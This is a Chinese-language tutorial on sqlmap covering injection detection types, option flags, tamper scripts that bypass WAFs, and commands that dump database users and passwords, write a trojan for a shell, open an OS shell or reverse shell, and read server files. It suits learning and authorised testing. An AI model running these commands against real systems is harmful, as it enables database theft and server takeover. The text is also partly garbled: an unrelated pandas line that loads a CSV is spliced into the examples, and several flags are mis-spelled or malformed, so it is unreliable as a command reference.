本文介绍sqlmap的原理到sqlmap入门使用到最后sqlmap进阶使用操作
前言
Sqlmap是一种开源渗透测试的工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器,它有强大的检测功能,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别,数据获取,访问DBMS\操作系统甚至通过带外数据的方式执行操作系统的命令,以及从数据库指纹识别,从数据库获取数据,访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令
一、Sqlmap可以做什么?
- sqlmap是一款开源免费的漏洞检测,利用工具
- 可以检测页面中get,post参数,cookie,http头等
- 可以实现数据榨取
- 可以实现文件系统的访问
- 可以实现操作命令的执行
二、Sqlmap支持5种漏洞检测类型
基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候,则适用union联合查询)
基于布尔盲注检测:如果url地址为xxx.php?id=1,那么我们可以尝试下加上and 1 = 1 (和没加and 1 = 1 结果保持一致)和 and 1 = 2(和不加and 1 =2结果不一致)那么我们可以判断是存在布尔注入
基于时间的盲注检测(和布尔检测有些类似,通过mysql的sleep(int))观察浏览器的响应是否等待了你设定的那个值,若设置sleep(5),5秒后浏览器返回数据则基本可以确定存在sql注入
基于错误的检测(组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被使用了,如果不报错,可以被waf过滤掉了(也有可以是抑制输出例如group by))
三、Sqlmap基础使用步骤
options类
sqlmap --version 查看sqlmap版本信息
sqlmap -g 查看常用的功能参数
sqlmap -hh 查看所有的参数
sqlmap -v 显示更详细的信息,一共7级,从0-6默认为1,数值越大,信息显示越详细
0:只显示python的回溯,错误和关键信息
1:显示信息和警告消息
2:显示调试消息
3:有效载荷注入
4:显示HTTP请求
5:显示HTTP响应头
6:显示HTTP响应页面的内容
sqlmap -d 直接连接数据库
sqlmap -u 指定url扫描,但url必须存在查询参数,例如: -u "http://127.0.0.1.php?id=1"
sqlmap -l 指定logfile文件进行扫描,可以结合burpsuite把访问的记录保存成一个log文件,sqlmap可以直接加载burp保存到log文件进行扫描
sqlmap -x 以xml的形式提交一个站点给sqlmap
sqlmap -m 如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描
sqlmap -r 把http的请求头,body保存成一个文件,统一交给sqlmap,sqlmap会读取内容进行拼接请求体 可以配合burp suite使用
sqlmap -g 利用谷歌搜索引擎搭配正则来过滤你想要的
sqlmap -p 指定可测试的参数(?page=1&id=2)然后使用-p "page,id"
sqlmap -T 指定表名
sqlmap -s 保存注入过程到一个文件,还可中断,下次恢复在注入 保存-s "xx.log" 恢复:-s "xx.log" -resime
sqlmap -columns 列出字段
sqlmap -current-user获取当前用户名称
sqlmap -current-db获取当前数据库名称(database())
sqlmap -users 列出数据库所有用户
sqlmap -passwords 列出数据库所有密码
sqlmap -privileges查看用户权限
sqlmap -U 指定数据库用户
sqlmap -dbs 列出所有数据库
sqlmap -tables -D 列出指定数据库中的表
sqlmap -is-dba 是否是数据库管理员
sqlmap -roles 枚举数据库用户角色
sqlmap -udf-inject导入用户自定义函数(获取系统权限)
sqlmap -union-check检测是否支持联合注入
sqlmap -union-coks 查询表记录
sqlmap -union-test 语句测试
sqlmap -union-use 采用union注入
sqlmap -union-tech orderby #union配合order by
sqlmap -referer 使用referer欺骗 例子:-referer "http://www.baidu.com"\
sqlmap -proxy 代理注入 例子:-proxy "http://127.0.0.1:8080"#代理注入
sqlmap --proxy-file代理注入使用文件 例子:--proxy-file=XXXX
sqlmap -string 指定关键词
sqlmap -thread 采用多线程(-thread 3)
sqlmap -sql-shell 使用指定sql命令
sqlmap -file-read 读取指定文件
sqlmap -file-write 写入本地文件(-file-write 本地文件 -file-dest 目标路径)可以通过sqlmap写入木马 然后getshell
sqlmap -file-dest 要写入的文件绝对路径
sqlmap -os-cmd=id 执行系统命令
sqlmap -os-shell 系统交互式shell
sqlmap -os-pwn 反弹shell(-os-pwn -msf-path=路径)
sqlmap -msf-path matesploit绝对路径
sqlmap -reg-read 读取win系统注册表
sqlmap --tamper 指定使用的脚本
sqlmap -C 指定字段
实例演示
GET参数注入
sqlmap -u "http://127.0.0.1/?id=1"
POST参数注入
sqlmap -u "http://127.0.0.1/?id=1" -data="id=1"
方法二:
sqlmap -r <burp抓包文件名> -p <burp抓包注入点>
cookie注入 level大于2都会检测cookie注入 (抓包-p cookie也可以)
sqlmap -u "http://127.0.0.1/?id=1" --level 2
user-agent注入
sqlmap -u "http://127.0.0.1/?id=1" --level 3
referer注入
sqlmap -u "http://127.0.0.1/?id=1" --level 3
host注入
sqlmap -u "http://127.0.0.1/?id=1" --level 5
data = pd.read_csv(
'https://labfile.oss.aliyuncs.com/courses/1283/adult.data.csv')
print(data.head())
Sqlmap自带脚本
命令如下 脚本目录:/usr/share/sqlmap/tamper
sqlmap -u [url] --tamper [模块名]
-
可以使用--identify-waf对网站检测是否存在安全防护
常用tamper脚本使用
- apostrophemask.py
将引号替换成utf-8,用于过滤单引号
- base64encode.py
将原本的内容进行base64编码
- multiplespaces.py
围绕sql关键字添加多个空格
使用脚本前1 UNION SELECT xxx
使用脚本后1 UNION SELECT XXX
- space2plus.py
用+号代替空格
- unionalltounion.py
将union allselect替换成unionselect
- securesphere.py
追加特定的字符串
- nonrecursivereplacement.py
用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前 1 UNION SELECT 2 --
使用脚本后 1 UUIOUNIONN SELESELECTCT 2 --
- space2randomblank.py
将空格替换为其他有效字符
- space2dash.py
将空格替换成--,并添加一个随机字符串和换行符
- space2mssqlblank.py
将空格随机替换为其他空格符号(%01,%02,%03,%04,%05,%06)
- between.py
用NOT BETWEEN 0 AND #替换>
- percentage.py
在每个字符前添加一个%
- charencode.py
对全部字符进行url编码
- randomcase.py
随机大小写
- charunicodeencode.py
适用字符串的unicode编码
- spacetolike.py
将空格替换为/**/
- equaltolike.py
将=替换为like 将>替换为GREATEST
- modsecurityversioned.py
使用内联注释方式/**/进入注入
指定多个脚本进行绕过(--tamper)
sqlmap --tamper="space2comment.py,space2plus.py"
Level和risk等级
level:共有五个等级,默认为,在不确定哪个payload或者参数为注入点时,为了保证全面性可以使用高等级的level值
5级包含的注入点最多,包含cookie,xff,referere等头部注入,相对速度比较慢可以是线程thread
level 2 #http cookie会测试
level 3 #http user-agent/referer头会测试
risk:风险等级,一共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加IR语句的SQL注入测试
读取文件(--file-read)
sqlmap -u "http://127.0.0.1/?id=1" --file-read "c:/test.txt" #读取目标服务器c盘下的test.txt
执行操作系统命令
<该数据库的secure_file_priv参数值为空(很多数据库的该值为NULL,也就导致了即使当前用户是root,即使知道网站根目录的绝对路径还是不能执行os-shell)>
sqlmap -u "http://192.168.1.1/?id=1" --os-shell
总结
提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了sqlmap的使用,而sqlmap提供了大量渗透脚本和功能供我们使用。